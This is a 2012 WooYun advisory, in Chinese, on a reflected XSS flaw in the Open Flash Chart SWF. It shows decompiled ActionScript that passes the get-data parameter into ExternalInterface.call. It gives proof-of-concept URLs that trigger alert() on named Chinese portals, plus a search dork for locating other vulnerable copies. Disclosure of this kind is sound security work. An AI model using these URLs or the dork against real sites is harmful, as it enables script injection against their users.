漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2012-07265
漏洞标题:Open Flash Chart Xss 0day | 国内各网站需关注第三方FLASH产品安全
相关厂商:Open Flash Chart
漏洞作者: gainover
提交时间:2012-05-18 10:16
修复时间:2012-05-18 10:16
公开时间:2012-05-18 10:16
漏洞类型:xss跨站脚本攻击
危害等级:高
自评Rank:20
漏洞状态:未联系到厂商或者厂商积极忽略
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2012-05-18: 积极联系厂商并且等待厂商认领中,细节不对外公开
2012-05-18: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
和我之前发的 JWPlayer 存在同样的问题。利用方法也类似,就是地址栏里的参数不一样。 这个程序的使用范围之广,我就不多了说了。连乌云都是用的此图表程序,不过乌云比较幸运的是,用的旧版本,不存在此问题。
我随手搜索了一下 open-flash-chart.swf
shop.qq.com 域名下也存在该文件。
google: inurl:(open-flash-chart.swf) site:.cn 也可以看看有多少记录。
不难想象,图表演示程序,多用于数据统计,所以非常可能被广泛应用于商务方面的网站。
至于XSS的危害,单个文件存在XSS不可怕,但是当存在问题的FLASH文件广泛存在于网上的时候,就不一样了。
详细说明:
1. 漏洞问题出现在
package main
private function callExternalCallback(_arg1:String, ... _args){
if (ExternalInterface.available){
return (ExternalInterface.call(_arg1, _args));
};
}
可以此处看到,建立了一个callExternalCallback函数。
2. 我们再搜索callExternalCallback,会找到以下有问题的部分。
从代码里可以看到, 直接call了_local2,而_local2来自于get-data参数
因此我们可以构造以下代码。 以open flash chart 官网的SWF为例:
漏洞证明:
网易:(嘿嘿,jwplayer你没中招, 这次你中弹了吧~,虽然不是什么重要的域名)
http://db.w.163.com/flash/open-flash-chart.swf?get-data=alert
腾讯:你也中招了, 商务网站的哦~
http://shop.qq.com/misc/seller/open-flash-chart.swf?get-data=alert
新浪:也有
http://data.house.sina.com.cn/images/price_trend/open-flash-chart.swf?get-data=alert
搜狐:
http://soccer.sports.sohu.com/StyleDefault/Media/open-flash-chart.swf?get-data=alert
百度:
http://leju.baidu.com/static/flash/open-flash-chart.swf?get-data=alert
...
..
其它的我就不找了。
修复方案:
这个,各厂商自己看着办吧!! 学学Facebook,把 ExternalInterface.call 自己封装了一下,对传入参数进行了严格的过滤!
版权声明:转载请注明来源 gainover@乌云
漏洞回应
厂商回应:
未能联系到厂商或者厂商积极拒绝
漏洞Rank:6 (WooYun评价)